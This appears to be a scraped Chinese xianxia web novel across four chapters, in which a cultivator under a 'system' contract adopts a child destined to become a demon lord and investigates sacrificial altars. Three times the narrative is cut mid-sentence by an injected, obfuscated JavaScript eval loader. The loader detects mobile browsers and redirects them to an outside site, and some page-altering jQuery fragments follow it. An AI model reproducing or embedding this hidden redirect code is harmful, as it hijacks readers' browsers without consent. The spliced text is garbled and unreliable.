《攻略徒儿失败后》 1. 第一章 李家村位于连绵群山脚下,本是僻壤之地,与外界几近隔绝。不过前些年仙门招收门徒时临近县城里出了两个双灵根的好苗子,当即将县城周边村镇都带得炙手可热了番。 虽然后来没挖出更多被掩埋在此的天才,但有关修仙界的事情还是多多少少地随门徒足迹在李家村中流传开来,村人闲聊时总少不掉那些新奇的妖魔志怪故事。 “妖怪究竟是什么样的?像她那样吗?” 棕色衣裳的稚童抓着草蚂蚱蹲在大人们身边偷听,听至兴起,忍不住好奇出声,眼睛亮亮地抬手一指,赫然指向远处正弯腰于田里耕种的女孩。 大人们的目光不由得跟着移了过去,神色各异,小童的长辈连忙把那只爪子拍下去,边抓起孩子衣领往家里走边低声斥骂:“指什么指?回头盯上你怎么办……” 闲聊被如此打断,剩下几个自觉晦气,或是继续干活儿,或是甩着袖子回家休憩,不一会儿就散得干干净净。 恰逢正午,日头火辣,田野上安静了许多。 大概离得远不曾听见,被小童指过的女孩仍一声不吭地埋头做自己的事,大半边脸颊被垂下的枯黄发丝严严实实遮住,只见得干涩起皮的嘴唇用力抿着,两只黝黑的眼睛毫无情绪地藏在头发后边。 分明才七八岁的模样,身上却带着股远超同龄人的成熟。貌似力气也大得很,这样炎热天气下成年人都深感疲惫的农活她亦做得有模有样。 又过半晌,额头上的汗越来越多、不住往下滚,女孩直起身提着破烂衣摆随意擦了擦,顺便将两边太过宽大而滑落的袖子重新卷好。 直至此时,蓬乱发丝后拨,那张瘦削的脸庞终于显现在太阳底下,爬满半边面颊的黑色图案彻底暴露于崔扶仙眼中。 【就是她?】 崔扶仙隐去身形静立于树荫下,目光落在那团诡谲骇人的纹路上,将女孩的神态动作尽数收入眼底,言简意赅地点评:【野狼崽子一个。】 【既然是未来的灭世魔头,现在杀了岂不更好?】 如此残忍而狠决的话自她嘴里说出来,竟如喝茶般平淡寻常。 她的宽袖中随之闪烁出蠢蠢欲动的凌厉寒光,仿佛只要系统一声应下,预言中的祸世魔头便会立刻横死在这片贫瘠的因暴晒而散出滚烫热浪的田野上。 可惜,崔扶仙缓缓收回视线,细长眉梢微不可觉地动了动。 往日藏在她神识深处难以查寻踪迹的东西此时迅速给出反应,一口驳回她的建议,本该冰冷无情的机械音中满是警告:【你忘了与天道立下的契约?你不能杀她。】 长睫轻垂,崔扶仙于电光火石的刹那捕捉到它的方位,长袖掩盖,指甲在指腹上划过,咄咄逼人追问道:【是谁也无法杀死她,还是唯独我不能杀她?】 系统沉寂下去,过了好一会儿才在她脑海里发出意味不明的声音:【你不会想知道杀她的后果。】 指腹悄无声息间多出第二道白痕,女人默然不语,没有继续探究,神识里藏着的东西已经开始复读当初立下的天道契约。 【攻略感化魔头,获得好感,令其从善。攻略成功,天道将助你飞升。攻略失败,抹杀。】 【任务时限为一百五十年。】 崔扶仙锁定完它这一次出现在神识中的方位,漫不经心地轻嗤:【这一百五十年是从我来到这个世界开始计算,还是从现在开始算?】 提前百年将她错误投放到这个世界,直至现在才告诉她幼年魔头所在之处,怎么好意思说任务时限是一百五十年的? 除去崔扶仙在此界生活的百年光阴,任务时间实则只剩最后五十年。 果然,一涉及这个问题系统又开始装死。 连它嘴里的计算错误都不相信,崔扶仙根本没想从它那边获取有用答复,重新抬眸望向那个瞧着可怜兮兮的幼年魔头,拂袖朝她走去。 抓着锄头的手骤然顿住,女孩被脑海中突兀响起的声音骇得浑身绷紧。 然而,这两亩田的主人家许诺过她,今日忙完后会给她一碗豆饭。 她实在太饿,肚子干瘪得快凹进去,里头的五脏六腑都要挤作一团,没有多余的力气去在乎其他。并且在她短短几年生命里类似的古怪事情并不罕见,她有些被迫习惯了。 锄头不过僵住两瞬便开始用力挥动。 女孩深深埋下脑袋试图忽略,却发现如何都屏蔽不了那道在脑海里响起的刺耳又模糊的声音。 那声音似乎隔了很远,又似乎离她很近,她只能勉强从中捕捉到几个还算清晰的字。 【……攻略……感化……好感……飞升……】 瞳孔微动,下一刻眼睛豁然睁大,一片洁白的绣着暗纹的裙摆猛地闯入眼帘。 本就提着心肝,此时又是一通惊吓。 瘦小的孩子抱着锄头连连后退,被地里的石块绊了下,不慎重重摔倒,神色停留在警惕与防备上。 冷眼旁观地由她跌倒,崔扶仙连一缕灵力都不曾放出,居高临下审视着所谓的幼年魔头,丝毫不将她还藏不住的表情当回事。 称一句野狼崽儿都算恭维,弱得跟鸡崽儿似的,一只手就能掐死,非得搞什么攻略感化。 麻烦。 崔扶仙打量的同时,倒在地上的孩子下意识攥紧手里的锄头,亦惊疑不定抬起头盯住面前突然出现的白裙女人。 她的视线自女人裙摆向上移去,看见了那抹系在腰间的两指宽的群青色长纱与一把细长且古朴的剑。 打有意识起她便呆在这片山野村庄,听说过那些光怪陆离的妖魔故事,却从未亲眼见过这样的人,此时惊愕之下张了张嘴,竟半个字都吐不出来。 女孩不由自主地望向女人一丝不苟束起的云鬓玉冠,随即被一粒极小极淡的落在右侧眼角旁的痣吸引过去,最终与那双形状妩媚却幽冷无波的凤眸直直对上。 片刻后,眼睛的主人淡淡问:“看好了?” 如梦初醒似的,她一声不吭地抱着锄头从地上爬起来,先是后退两步拉开距离,接着连忙垂下脑袋弯下背脊,做出狼一般的臣服模样。 孩子的声音沙哑,很轻,咬字倒挺清晰:“冒犯仙君,还望仙君饶恕。” 崔扶仙以目光近距离描摹小魔脸上纹路,大致记下后才再次出声:“这些话跟谁学的?你识字吗?” “禀仙君,认得一些字,是之前收养我的阿婆教给我的。” “你阿婆人呢?” 女孩话音顿了顿,轻声答复:“阿婆重病未愈,去年冬天就走了。” 她所耕种之处很少有人靠近,除非她越界侵犯其他人的田地,否则村民都会特意避开,宁可错时劳作也不愿与她离得太近。 因而附近没有村民听得见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899710|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟在说什么。 应是信了她的话,面前冰肌玉骨、不知是仙是妖的女人低声叹息,态度有所松动,神色微软:“倒是可怜。” 满嘴谎话的小魔头。 “我乃昆仑山瑶光峰峰主崔扶仙,你可愿随我归去、做我座下首徒?” 杂草似的发丝下眸光闪烁,女孩忽而想起方才模模糊糊听见的那几个词,脑筋转得很快,心中霎时闪过许多杂乱猜测。 她大着胆子仰头看向仙君,再次闯入那双寒潭般的眼眸,极力克制着自己不要向四处望去、不要在这样的节骨眼上分开心神。 然而,那些永不停歇的带着深重恶意的窃窃私语早已或近或远地包裹缠绕住她,仅一瞬间的功夫便全然涌上她的脑海。 天生灵敏的五感提醒她,厌恶敌视她、曾殴打驱逐过她的村民们都放下了手中农活,正远远地自以为隐蔽地朝着她这里看来。 他们大概在交谈,谈她脸上的图案,猜测她是否为妖魔、今天可能就要被仙人处死在这里——从她到李家村之后村里已离奇死了好些人,包括那个好心收留过她几年的老妪。 如此想着,一团火焰便突然腾空在她心底灼烈燃烧起来,说不清究竟是什么感受,总之叫女孩有些不可抑制地发抖。 她不愿永远困在这滩泥泞中。 啪。 陈旧的锄头掉落在地。 饥肠辘辘的孩子颤栗着俯首跪于仙君裙边,瘦得只剩骨头的脸上眼睛显得格外大,此时亮得骇人,拼尽全力地抓住上天赐予她的这份不知是福是祸的机缘: “愿意……我愿意!” 她极恭顺地、迫不及待地磕头行礼: “师尊在上,请受徒儿一拜。” 没有阻拦,崔扶仙安静注视她的一举一动,并未错过小魔眼中因太过青涩而难以收敛好的兴奋与野心。 冥冥中有一份天道法则于她二人间绑定。 直至新收的便宜徒儿再次抬头,崔扶仙才挥袖以灵力将这孩子拎起、为其拂去身上的灰尘污垢,随意伸手拨了拨那团乱糟糟的头发:“可有姓名?” 女孩竭力冷静下去,藏起那些不该在师尊跟前暴露的情绪,瞧起来倒乖巧,低声道谢后如实告之:“回师尊,没有姓名。” 说谎也说不周全。 崔扶仙瞥了她一眼,故作诧异:“你阿婆不是识字?为何不给你取名?” 明显被问住,小魔头滞缓片刻,赶紧恭敬回答:“……阿婆说我年纪太小,怕压不住,还没来得及给我取名。” “原来如此,你阿婆有心了。” 女人不易察觉地勾了勾唇角,抬手抚过小魔头脸颊上如黥面般的黑纹:“既然这样,你日后就随我姓崔,单名一个满字。” “人生小满胜万全。” 温润似玉的触觉在眉心停留。 新得名字的孩子稍显愣怔,呆立于原地不敢动弹,任由崔扶仙轻轻点着自己的额头。 鼻前一缕一缕地传入股说不出来的极好闻的香气,恍惚间她察觉师尊声音里仿佛染上了两分浅淡笑意。 “如何?” 那只素白的手自脸颊滑落,又不容抗拒的牵住了她。 崔满小心观察着崔扶仙的眼睛,没有从里头寻到半分嫌恶,迟钝几许才反应过来,低声顺从应是: “……都听师尊的。” 2. 第二章 崔扶仙空下一只手,再次拨了拨崔满脑袋上那团杂草:“此处可有尚未了结之事?” 任由师尊揉弄自己凌乱的枯发,崔满不太适应如此亲密的举动,对自己这副模样自觉不堪,被崔扶仙牵住的手指下意识想要缩起,又强行忍耐下去。 她乖巧答:“回师尊,确实有。这两亩田的主人家是村中寡妇,太过操劳而病倒。她膝下只有一个女儿,今日呆在家中照顾母亲。” “李姐姐托我帮忙耕种,现在只剩最后一点。” 师尊这般仙门中人大概偏好良善之徒。 崔满仰头对崔扶仙露出抹局促的笑容,视线在师尊脸上极快转悠两圈,见师尊面色似有触动,以为自己的猜想并未出错,于是试探着恳求: “师尊可赶路?若师尊不赶路、愿意给徒儿一些时间,徒儿想将手中的活干完,也算善始善终、完成李姐姐交付的任务。” 她心中没底,说话时两只眼睛都盯在女人脸上。 不过如她所愿,师尊似无疑心,并未言及其他,只道:“小满是个好孩子。” “师尊帮你。” 心下正窃喜,陡然听了这句,崔满不禁一愣:“帮我?师尊……怎敢操劳师尊做这些……” 没等她说完,崔扶仙摇了摇头,宽袖轻扬,浑厚磅礴的灵力霎时于指尖迸发,顷刻笼罩住崔满所指的两亩田地。 这力量强大且灵活,不曾伤及庄稼分毫,反倒复刻着崔满方才弯腰耕作的模样,一瞬功夫就将此地处置得妥妥当当。 非但远处观望的村民看呆,就近接触的女孩更深感震撼。 崔满睁大了眼睛,不由自主伸出手,敏锐感知到一股隐约散发着寒意的力量缠绕在自己手指上,恼人的暑热之气顿消,微风中拂过的是师尊身上独有的好闻气息。 她有些失声,黝黑瞳孔深处本就燃烧着的火苗却愈发旺盛。 崔扶仙捕捉到了她的渴望,微微弯腰:“这是灵力,修道者的力量。你是我座下亲传,日后随我一同修行。” “我会教你如何获得、掌握、运用这股力量。” 女人的声音自上方传来,不疾不徐、冷冷清清,宛若志怪故事里最会蛊惑人心的妖邪般令崔满不可抑制地被她嘴中描述的未来所吸引。 师尊轻声问:“你想成为强大的修道者吗?” 与刚刚拜师时的反应如出一辙,还不能完全收敛起情绪的小魔无意识攥紧了那只空着的手,极力按捺着身体的颤栗,几乎在崔扶仙话音落下的同一瞬间喊了出来:“我想!” 顿了顿,她张开嘴,声音又强压下去:“……师尊,我想。” 那只素白的手遮住了她暴露太多的双目。 崔扶仙端详着这个传说中的灭世魔头,有些满意,又有些不可言说的惋惜: “师尊帮你。” ———————— 早在按照系统给出的路径来到李家村前崔扶仙就将小魔头的事情查了个遍。 她在村镇中徘徊停留三日,观察小魔两日,这才现身将幼年小魔捡了回来。 崔扶仙是个极为自傲之人,从不轻信旁人嘴里的话,只相信自己亲眼看见的证据。 事实证明,对这种满嘴谎话的小魔头,就该提前做好准备。 哪里来的识字阿婆? 小魔今年大概八岁,婴儿时被村中一位独居的好心老妪从山上抱回来。 老妪目不识丁,家中无女无子,索性将小魔放在膝下养了几年。 毕竟是穷苦人家,每日能分出一小碗稀汤都算尽了最大力气。多是两三天才吃上顿正经饭,全亏小魔头身体强健才没被饿死。 崔满长到五岁时显露出与寻常孩子的不同之处。 这一年,老妪也病得起不了身。 她养不了这孩子,亦没叫她给自己养老送终,只将小魔赶出门去自寻生路。 奇怪就奇怪在这里。 按照老妪邻里所说,她确实已病得只剩最后一口气。但后来不知怎的,仿佛一夜间得了仙丹般好转过来,忽然就能下地走路,只是自那之后就不怎么搭理人,除了小魔谁喊都不理会。 如此拖了两年,最终在一个寒冬夜里断气。 给她收尸的村民描述说,老妪被发现时神情惊恐,像是看见了不干净的东西。 那一日唯有小魔出入过老妪的房屋。 至于这小魔头之所以识字、会说几句文绉绉的话,都是她自己跑到村里教书师傅家外偷学来的,据说还挨了顿驱逐打骂。 ————————— 天下分九州,人族占其三。 不通灵力、不入道途的凡人为人族之基,聚居于元州南方,有天道结界与法则庇护,若修士、妖魔依仗修为残杀凡人,便会遭受天谴、身死道消。 崔扶仙出身末法时代,来到这个灵气充裕的世界后简直如鱼得水,不分昼夜地汲取着修真界一切知识。 为了寻求高深的道法秘籍,她直奔人族修道圣地昆仑山,历经试炼拜入山门,百年来一步步爬上如今瑶光峰峰主的位置。 昆仑山位于玄州赤水一带,离元州有段距离。 既然已经将任务对象捡了回来,瑶光峰的事情原本也是扔给下边长老们去处理,她后边不急,没有赶路,拎着新得的徒儿前去距离最近的一座城池。 元州中除了凡人,多为以武入道的修士,坐落着不少小宗门。 天色渐黑,崔扶仙扫了眼身旁肚子叫个不停的小魔,放慢步子牵着她踏入客栈。 里头人不少,几个小二模样的到处端菜忙活。她们刚进去就有个高胖妇人笑盈盈地迎上来,大概是客栈里的掌柜,仅筑基修为。 “仙君安好,敢问仙君是打尖还是住店?” “住店,来间上房。” 崔扶仙低眸询问:“可有不吃的?” 一直按住自己不争气的肚子、试图让它不要叫得那么大声,崔满埋着脑袋缓了两瞬才反应过来,连忙抬起眼睛,恭顺答复:“回师尊,我什么都能吃。” 这话说得着急,刚说完她就感觉不对劲,但已来不及补救。 师尊动了动唇角,不轻不重吐出两个字:“傻样。” 崔满略显窘迫,只见她凭空取出一个锦袋朝妇人递去:“弄些清淡食物,再给我这小徒寻套新衣,多的你自己留下。” 掌柜眯着眼睛直笑,仔细打量两下面前瘦小的孩子,大致记住衣裳尺寸后客客气气恭维道:“仙君的徒儿一看便卓然不群,未来定有出息。” “这边请,我先给您带路。” 卓然不群? 崔满下意识抬手摸了摸自己覆盖黑纹的半张脸,余光自妇人身上滑过,慢慢向四周散去。 没有如那些村民般排斥的目光,大堂里坐着的食客在师尊进来后都安静了不少,一个个低着头吃饭,连看也没有多往这里看两眼。 并非厌恶,是敬畏。 一股复杂又新奇的感觉在她的心间蔓延。 “仙君,到了。” 客栈共有三层,上房在最高层。 掌柜将二人领到三楼左边一间房:“浴池在那道帘幕后边,房中还设了灵气阵和隔音结界。仙君若有旁的吩咐尽管摇下这个铃铛,您要的东西我马上就送来。” 在这样的城池中,如此布局已是难得。 除了修道,崔扶仙对其他方面不太挑剔,拎着身旁安静的小魔进屋:“过会儿他们把衣服送来,你先沐浴,再吃饭,吃饱了就在里头睡觉、不许闹。” 崔满乖乖点头:“知道了,师尊放心。” 坐下片刻,见小魔还老实巴交地站在自己身侧候着,崔扶仙拉开旁边的椅子:“坐下,我这里没那么多规矩。” “多谢师尊。” 女人虽如此说,崔满依旧小声道谢,轻轻坐到椅子上,双手放在膝盖上,试图摆出好学生的模样。 可惜,屁股才挨到椅面,肚子就发出几道响亮的咕噜声。 没开口,崔扶仙默然倒下两杯茶,将其中一杯放至她靠着的桌边。 崔满再次道谢,捧着杯子不肯抬头。 这样不尴不尬的气氛一直等那胖掌柜将衣裳与饭菜一同亲自送来才被打破。 崔扶仙把衣裳丢给崔满,凤眸一斜:“去把头发好好洗一洗。既是我的徒儿,日后便不许这样遮着脸,没个精气神。” 她给的灵石够多,店家还算老实,买来的都是上好的银白绸缎的衣袍与长靴,里衣里裤应有尽有,另配了根镶玉发带。 从未摸到这样好的面料,崔满紧紧抱着自己的新衣裳,素日里表现得再成熟,现在也不由得亮了眼睛。 那半张脸的黑色纹路总将人的注意第一时间吸走,崔扶仙扬眉,如今才发觉自己捡回来的小魔头眼型好似杏仁儿,笑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899711|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来时又弯弯的——倒像个真正的纯真稚儿了。 不知道是今日第几次,小魔抱着衣裳向她不伦不类地学着人家掌柜作揖,认认真真说了句:“多谢师尊,徒儿晓得了。” 没人不喜欢懂事的孩子,哪怕是装的。 崔扶仙语气稍缓:“动作快些,洗完好吃饭。” 目送崔满跑进帘幕,她垂下眼帘将食盒里的菜在桌上摆好,忽而眸光一定,自储物戒中取出块正不住闪光的玉牌。 玉牌正面刻着连绵群山,输入灵力后对面当即传来道低沉的女修声音:“孤月,你这会儿还在元州吗?” 靠着椅背弹指布下隔音阵,崔扶仙不答反问:“掌门有何吩咐?” 贺知雪没有废话,将昆仑收到的求救内容简洁告知:“元州北方、邻近永州处又出现了大规模的人肉祭坛,尚不知是邪修作祟还是妖魔越界侵略。主谋者奸诈、修为高深,当地修士实力不济,雁来城城主送来书信求助。” “你若还在元州,便去查探一二。” 崔扶仙神色漠然:“我有什么好处?” 那头的人早熟悉她的秉性,毫不意外:“知道你得这么问,孤月,你就是个无利不早起的家伙。” “你若能将元州北部的人肉祭坛拔干净,我便给你在通天阁里存个万把积分,够你在里头再看十来年典籍了,如何?” 若是以往,崔扶仙已然应下。 不过今时不同往日,捡回小魔头的孤月仙君遗憾拒绝了这个颇为诱人的条件,与掌门讨价还价:“不必,我在元州收了个亲传,你帮我准备好这个年纪的孩子所需之物,把那万把积分直接存入她的玉牌。” 她第一次养孩子,也不知道该准备什么。可别任务还没结束,小魔头先给她养死了。 贺掌门无语:“这点小事,你让我去做?” 崔仙君眉头都没动一下:“谁叫你正好撞上?” “……多大年纪?” “八岁。” 虽然八岁,但瘦得跟鸡崽子似的,与昆仑山上的同龄人没法比,东西得买小点。 崔扶仙正欲补充,便见自己的玉牌隔空被人挪动两下,随即啪的声灭去光亮,对面的掌门早就断开灵力。 行吧,凑合用。 她无所谓地收回视线。 “师尊,我好了。” 没过一会儿,一股潮湿的气息从帘幕后边传来。 还不会法术的小魔只能自己擦拭,却没那么快干,这会儿披散头发,手里拿着那根发带,一边整理身上的衣裳一边朝师尊走去。 洗完澡果然白净不少。 崔扶仙放出灵力为她烘干头发:“暂且别扎了,过会儿还得睡觉。” 早就饿得前胸夹后背,崔满听话应是,将发带妥当放在桌边,伸手抓住筷子,眼睛不受控制地盯在菜上,却按捺着没有动弹。 规矩比她这个当师尊的还大。 崔扶仙瞥了她一眼,懒得再纠正,率先夹菜。 像是打开什么开关,小魔这才学着她一下一下夹着自己跟前的绿叶子菜。 实在太饿,原先还端着的姿态在吃了两口饭后摇摇欲坠,脑袋都快埋进碗里去。 崔扶仙不好这些,早不再进食,此时伸手将崔满险些掉进碗里的头发往后顺了顺,给盯着绿叶子菜使劲儿啃的小魔头夹了个鸡腿:“没人跟你抢,慢点儿吃,当心晚上胃不舒服。” 尚未入道,饥一顿饱一顿,就仗着魔族身体底子好才没病倒。 女人手心温热,覆上脑袋时崔满身子骤然一僵,两瞬后包着满嘴食物默然点头。 她咬着碗中很久没沾过的荤腥,瞧了眼坐在旁边给自己夹肉的师尊,一直若有若无紧绷着的脊背陡然间松软许多。 吃完饭,崔满主动收拾残局。 她极瘦,睡觉时不自觉地蜷缩,只占去很小一块地方。 崔扶仙没有哄孩子的癖好,干脆给她撒了把安眠香,看着她气息逐渐平稳下去后才坐到床边闭目打坐,准备修炼一晚上打发时间。 然而,将近丑时。 女人在黑暗中睁开双目,敛眉回眸看去。 睡得不省人事的小魔头不知何时团着被子滚到她身后,身子直往她背上挤,誓要将她拱下床似的。 哪有之前半点规矩样。 共处第一夜,崔扶仙额外赏了这倒霉徒儿一个定身咒。 3. 第三章 玄州是人族修士朝圣之所,元州是修士与凡人的杂居领域。夹在玄州与元州中间的永州更为特殊复杂,是天地初起时人族人皇一脉的传承盘踞之地。 贺知雪在通讯中说人肉祭坛在元州北部、近永州处,虽未指明,但崔扶仙仍听出她的话外之意——按照雁来城城主信中所述,人肉祭坛此前已出现过几次,每次都徘徊在这样一个特殊的位置。目前尚无确切证据,但此事或许与永州有关,她需小心。 “师尊,徒儿打听到了,是雁来城城主的幼子遭遇不幸。如今雁来城城主发布悬赏令、召集修士,想要铲除作祟邪魔。” 快步自外头走来,刚推开房门就一眼望见正闭目盘腿打坐的白衣女人。 崔满动作顿时放缓,立于门口仔细拂了拂衣袍上的灰尘,这才反手关门,走至矮桌前轻声回禀自己打探的消息。 她们从元州南部往北,一路上打探消息之类的小事都由崔满来做。她自个儿也晓得这是师尊有意磨练,便从不曾拒绝,一切都尽力而为。 实在做不成,师尊自会出手帮她。 崔满双手垂于身侧,左肩落着只极漂亮的正将脑袋埋在羽毛中睡觉的小雀,是第一次被师尊委派任务时师尊交给她的,说是会在关键时刻保护她。 小雀脑袋与身子浑圆,后边拖着长长的尾翼,两只瞳孔、两侧羽翼与尾翼都是渐变的月白蓝色,额头正中央有一簇毛呈较深的群青蓝,喙部泛粉,此外全然雪白。 崔满料想这小雀大概是师尊养的灵宠,在师尊身边的时间可比她长多了,又被养得如此可爱娇气,因此没指望小雀真来保护自己,只当肩上落了个祖宗,平日里给小雀顺毛喂食比给自己梳头还勤快。 或许是明白她的心意,每次她给小雀顺毛时师尊都会多看她两眼。 “原来是詹光远的儿子死了。” 崔扶仙睁开双目,抬手示意崔满过来坐,语气淡淡:“之前装聋作哑那么多年,自己死个儿子就着急起来了。” “除了詹光远的儿子,可有其他修士落难?” 非常机灵地给自己与师尊各倒一杯茶水,崔满在师尊对面的蒲团上盘腿坐好,又熟练地将肩上打瞌睡的小雀抱至手中有一下没一下地顺毛,思考片刻后回道:“据徒儿打探得知,确实有修士遇难,但除了那个詹文乐外都是些不知名散修。最近一次人肉祭坛处发现的骸骨更多还是凡人,并且……” “不要吞吞吐吐。” 崔扶仙端过茶水抿了口,目光扫过她放在小雀身上乱摸的爪子,忍了又忍,感觉浑身都不舒服,终是出声:“别总摸它的羽毛,会掉。” 话到嘴边忽然被打断,崔满一愣,低头瞧了瞧:“会掉吗?师尊放心,徒儿动作很轻的。望舒这几日只掉了一根毛,是它自己梳理时不小心啄下来的。” 说完,她还认真从崔扶仙给的储物戒中掏了掏,取出块折得四四方方的帕子。 打开一看,里头赫然是根尾部泛蓝的羽毛。 非但她手里抱着的小雀瞪大眼睛、探着脑袋去观察,连喜怒不形于色的崔仙君都颇感惊诧,此时捏了捏眉心,仅瞥过一眼就挪开视线:“……你收集它的羽毛做什么?” 眼见小魔仿佛在思索,不晓得又要说出什么鬼话,崔扶仙摆了摆手,选择放过自己,眼不见为净:“罢了,说正经事,那些凡人怎么了?” 眨了眨眼睛,崔满避开小雀顽皮的乱啄,毫无疑义地将帕子重新叠好收起:“徒儿是在酒肆中听来的,不少人都在议论人肉祭坛,他们说那些凡人不像被他人杀害,倒像是集体自杀。” 崔扶仙放下杯子,不置可否:“你有什么想法?” 她已将此界通识尽数灌输给小魔。 这且算是检查功课,崔满神色一肃,端正坐好:“回师尊,徒儿以为人肉祭坛背后定有人在暗中操纵、从中谋利,但凡人自杀一事或许并非凭空捏造。” 小心瞧了眼师尊,见女人神色无波、并无出声之意,崔满当即收敛心神,继续绞尽脑汁地分析:“不通道途的凡人聚居元州南部,有天道结界与法则庇护,如此大规模的残害会遭受天谴。” 当然,不排除拥有特殊法器或方法能够躲避天道觉察的。 “天罚降临,世间会有异象,反响应该不会像现在这样……平静。” 凡人为人族之基,数量庞大,素来是以昆仑山为首的仙门和盘踞永州的皇族关照庇护的对象。元州境内亦有不少仙门门徒行走帮扶,若修士、妖魔欺压凡人,天罚一降,玄州与永州境内都会响起警戒钟,不可能像现在这样还需要雁来城城主传去书信求助。 换句话说,雁来城城主不作为的前提是他没有看见天罚异象——作为一城之主,他有必须处理的争端。但如果凡人自相残杀,他可没强制性义务去干预。 直到他的小儿子也不明不白地成了祭坛上的一块死肉,他这才反应过来,这件事恐怕没那么简单。 然而祭坛献祭已经完成,主谋者狡诈、修为高强,他与他手下的修士查不到对方的踪迹,甚至不知对方是人族邪修还是妖魔,想报仇都无处发泄,这才传信去昆仑。 更有意思的是,丧子悲痛的詹城主非但揭露了这次的人肉祭坛,而是连着几十年来发生在元州北部的他所知道却未曾大动干戈、最后皆不了了之的数次人肉祭坛都一并揭发、抖露个干净。 “徒儿觉得,或许是背后之人引诱他们自杀、完成献祭。” 崔满斟酌着给出自己的判断。 话罢,她低下脑袋,拢着小雀,等待师尊开口。 这个年纪能想到这里,已胜过昆仑山上那群屁孩良多。 还算满意,崔扶仙颔首:“你是个聪明的孩子,心思缜密,进步也很快。接下来不必出去打探消息,只等后日随我一同进城去见詹光远。” 提着的心一松,难得被夸,崔满面露喜色,躬身应是:“是,师尊。” “在外跑了一遭,去沐浴吧,晚上继续修炼。” 那一夜次日,崔扶仙就将入门的修炼功法教给了小魔,并且不许她夜里睡觉,只道浪费时间,要求她与自己一同打坐修炼。 索性小魔与寻常孩子不同,对修炼一事更为渴望,倒不觉辛苦,欣然应下,如今已是练气中期。 崔满早已习惯如此安排,再次应下,毫不拖沓,抱起小雀就朝此间客房的浴池走去。 才走了几步,身后突然传来师尊的声音。 崔扶仙蹙着眉,忍无可忍:“洗澡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899712|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就洗澡,你抱着它做什么?” 只是习惯性抱起来了,崔满想了想,试探询问:“师尊,如果我给它也洗一下,过会儿可以把它放到床上睡觉吗?” 望舒晚上好像真没上过床,每次她沐浴回来就不见了影子,不晓得跑去哪里,下一次领着师尊给的任务出门时才会现身。 手指猛地一痛,低头一看,平日里懒洋洋的小雀不知为何的正使劲儿用短短尖尖的喙啄她。 这头还在闹,那头师尊冰冷无情的拒绝也送来了:“放下它,它不洗也能上床。” 谁敢不让它上床? 师尊发话,崔满不敢不听,只得压下心中遗憾,恋恋不舍地松开双手,任由那圆滚滚毛茸茸的一团小家伙扑腾着翅膀绝情飞走。 小雀离开时摇了摇尾翼,长长的尾巴毛便不小心地甩了她脸颊一下。 抬起手背接住飞来的小雀,崔扶仙莫名奇妙地看着素来喜欢伪装的小魔头无精打采耷拉下脑袋,似是有些失落,磨磨蹭蹭孤身走去后边沐浴。 回眸与手背上站好的小雀对视一眼,崔仙君心中冷哼,指尖轻抬,这团雀儿便瞬间化作灵光,重新涌入她体内。 惯的。 ——————— “哎呦,孤月仙君,总算把您给盼来了!” 刚被管事领入城主府,于厅堂中坐下不过片刻,门外就忽而传来道难掩疲倦的声音。 崔扶仙掀开眼帘,侧目望去,只见一个褐色长袍的银发男修撩起衣摆匆匆跑来,对着她便是深深行过一礼。 詹光远眼睛一扫,看了看站在崔扶仙侧后方、面覆黑纹的银袍女孩:“这位是……” “我座下亲传,崔满。” 女人微微偏头,崔满会意,当即上前一步,含笑作揖:“崔满见过城主,城主安好。” “原来是仙君的亲传徒儿,我说呢,看着就一表人才。” 认了身份,詹光远客套两句,屁股还没坐热就直奔主题:“想必掌门已经将事情与仙君说过了,敢问仙君对这个人肉祭坛可有谋算?” 崔扶仙仔细端详着这位詹城主的神色,目光于他左侧耳垂下方停留两瞬,表情没有半点变化,只摇头否决:“我与小徒刚到此处,尚未查探清楚,暂无谋算。” “城主有什么线索吗?” “正要与您说,还真有!” 詹光远一拍大腿,面色悲愤,咬牙切齿:“我发布悬赏令已久,功夫不负有心人,如今终于寻出些蛛丝马迹。” “是魔族!仙君,人肉祭坛皆是魔族诡计!” 一直安静垂首听着,崔满拧了下眉,眸中滑过几许疑惑。 崔扶仙长眉轻挑:“魔族所为?你可有证据?” 有意思,前日她令崔满出去打探时那城主府的悬赏令还没被撤下,今日她们刚进城主府的门,城主就迫不及待地说已寻到幕后真凶。 仅昨日一天的功夫便有如此变化,雁来城城主好大的能耐。 “有!” 城主拍桌而起,双目泛红:“我那可怜幼子就死于人肉祭坛,若无证据,我怎敢轻言?!我已抓到他们的同伙,就关在地牢中,只等仙君来此做个决断。” “仙君请随我来。” 4. 第四章 詹光远所说的魔族是只魇魔,分神修为。大概事先受过私刑,如今连人形都维持不住,身影扭曲,四周不断溢出灰雾,被几道封魔锁牢牢锁住。 